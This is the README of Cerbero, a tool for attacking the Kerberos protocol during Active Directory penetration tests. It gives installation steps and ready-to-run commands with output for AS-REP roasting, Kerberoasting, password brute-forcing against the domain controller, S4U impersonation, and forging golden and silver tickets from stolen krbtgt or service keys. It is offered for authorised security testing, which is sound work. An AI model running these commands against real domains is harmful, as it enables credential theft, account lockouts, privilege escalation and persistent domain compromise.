Cerbero

Kerberos protocol attacker. Tool to perform several tasks related with Kerberos protocol in an Active Directory pentest.

Installation

From crates: sh cargo install cerbero

From repo: sh git clone https://gitlab.com/Zer1t0/cerbero.git cd cerbero/ cargo install --path .

Commands

Ask

The ask command allows to retrieve Kerberos tickets (TGT/TGS) from the KDC (Domain Controller in Active Directory environment). Moreover also perform requests to obtain tickets by using the S4U2Self and S4U2Proxy Kerberos extensions.

Ask TGT: shell $ cerbero ask -u under.world/Hades -p 'IamtheKingofD34d!!' -vv INFO - Request TGT for Hades INFO - Save Hades TGT in Hades.ccache

Ask TGS: shell $ cerbero ask -u under.world/Hades -p 'IamtheKingofD34d!!' -s ldap/under.world -vv WARN - No TGT found in Hades.ccache: Unable to read the file 'Hades.ccache': No such file or directory (os error 2) INFO - Request TGT for Hades INFO - Request ldap/dc01 TGS for Hades INFO - Save Hades TGS for ldap/dc01 in Hades.ccache

Perform S4u2self: shell $ cerbero ask -u under.world/Hades -p 'IamtheKingofD34d!!' -i Zeus WARN - No TGT found in Hades.ccache: Unable to read the file 'Hades.ccache': No such file or directory (os error 2) INFO - Request TGT for Hades INFO - Request Zeus S4U2Self TGS for Hades INFO - Save Zeus S4U2Self TGS for Hades in Hades.ccache

Perform S4u2proxy: shell $ cerbero ask -u under.world/Hades -p 'IamtheKingofD34d!!' -i Zeus -s ldap/under.world -vv WARN - No TGT found in Hades.ccache: Unable to read the file 'Hades.ccache': No such file or directory (os error 2) INFO - Request TGT for Hades WARN - No Zeus S4U2Self TGS for Hades found INFO - Request Zeus S4U2Self TGS for Hades INFO - Request ldap/under.world S4U2Proxy TGS for Zeus INFO - Save Zeus S4U2Proxy TGS for ldap/under.world in Hades.ccache

AsRepRoast

asreproast can be used to discover users that do not require pre-authentication and retrieve a ticket to crack with hashcat or john.

Check many users: shell cerbero asreproast under.world users.txt

Check many users with weak RC4 cipher (easier to crack): shell cerbero asreproast under.world users.txt --cipher rc4

Brute

brute performs TGTs requests in order to discover user credentials based on the KDC response. This bruteforce technique allows you to discover: + Valid username/password pairs + Valid usernames + Expired passwords + Blocked or disabled users

This attack should be performed carefully since can block user accounts in case of perform many incorrect authentication attemps for the same user.

Test many users and passwords: shell cerbero brute under.world users.txt passwords.txt

Test one user and many passwords: shell cerbero brute under.world Zeus passwords.txt

Test many users and one password: shell cerbero brute under.world users.txt Olympus1234

Test one user and one password: shell cerbero brute under.world Zeus Olympus1234

Convert

convert ticket files between krb (Windows) and ccache (Linux) formats.

Convert ccache to krb: shell cerbero convert hades.ccache hades.krb

Convert krb to ccache: shell cerbero convert hades.krb hades.ccache

Craft

To craft golden and silver tickets.

Craft a golden ticket (by using the krbtgt AES256 key): shell $ cerbero craft -u under.world/kratos --sid S-1-5-21-658410550-3858838999-180593761 --aes fed0c966ff7f88d776bb35fed0f039725f8bbb87017d5b6b76ee848f25562d2c -vv INFO - Save kratos TGT in kratos.ccache

Craft a silver ticket (for the service cifs hosted by the machine styx): shell $ cerbero craft -u under.world/kratos --sid S-1-5-21-658410550-3858838999-180593761 --ntlm 29f9ab984728cc7d18c8497c9ee76c77 -s cifs/styx,under.world -vv INFO - Save kratos TGS for cifs/styx.under.world in kratos.ccache

Hash

Calculate the Kerberos keys (password hashes) from the user password.

Calculate RC4 key (NT hash): shell $ cerbero hash 'IamtheKingofD34d!!' rc4:86e0a04f7a44ed4d4a7eaf2ee977c799

Calculate all the keys: shell $ cerbero hash 'IamtheKingofD34d!!' -u under.world/Hades rc4:86e0a04f7a44ed4d4a7eaf2ee977c799 aes128:fe165dec904772a90a177069e4ea7019 aes256:1304965c35176aeb72e1ae5fdd6c2fe2e901af7223cb75f5eaac25ad667136e7

Kerberoast

To format encrypted part of tickets in order to be cracked by hashcat or john.

shell $ cerbero kerberoast -s services.txt -u under.world/Hades -p IamtheKingofD34d!! To get a list of services you could use ldapsearch: shell ldapsearch -b "dc=under,dc=world" -w IamtheKingofD34d!! -D "Hades@under.world" "(&(samAccountType=805306368)(servicePrincipalName=*)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" servicePrincipalName | grep servicePrincipalName: | cut -d ' ' -f 2 | tee services.txt

List

list shows the tickets information of a credentials file. Similar to klist command.

```shell $ cerbero list hades.ccache -fe Ticket cache (ccache): FILE:hades.ccache

Hades@UNDER.WORLD => krbtgt/UNDER.WORLD@UNDER.WORLD Valid starting: 12/22/2020 17:39:34 Expires : 12/23/2020 03:39:34 Renew until: 12/29/2020 17:39:34 Flags: forwardable renewable initial pre_authent Etype (skey, tkt): aes256-cts-hmac-sha1-96 (18), aes256-cts-hmac-sha1-96 (18) ```

Credits

This work is based on great work of other people: - Impacket of Alberto Solino @agsolino - Rubeus of Will @harmj0y and Elad Shamir @elad_shamir - Mimikatz of @gentilkiwi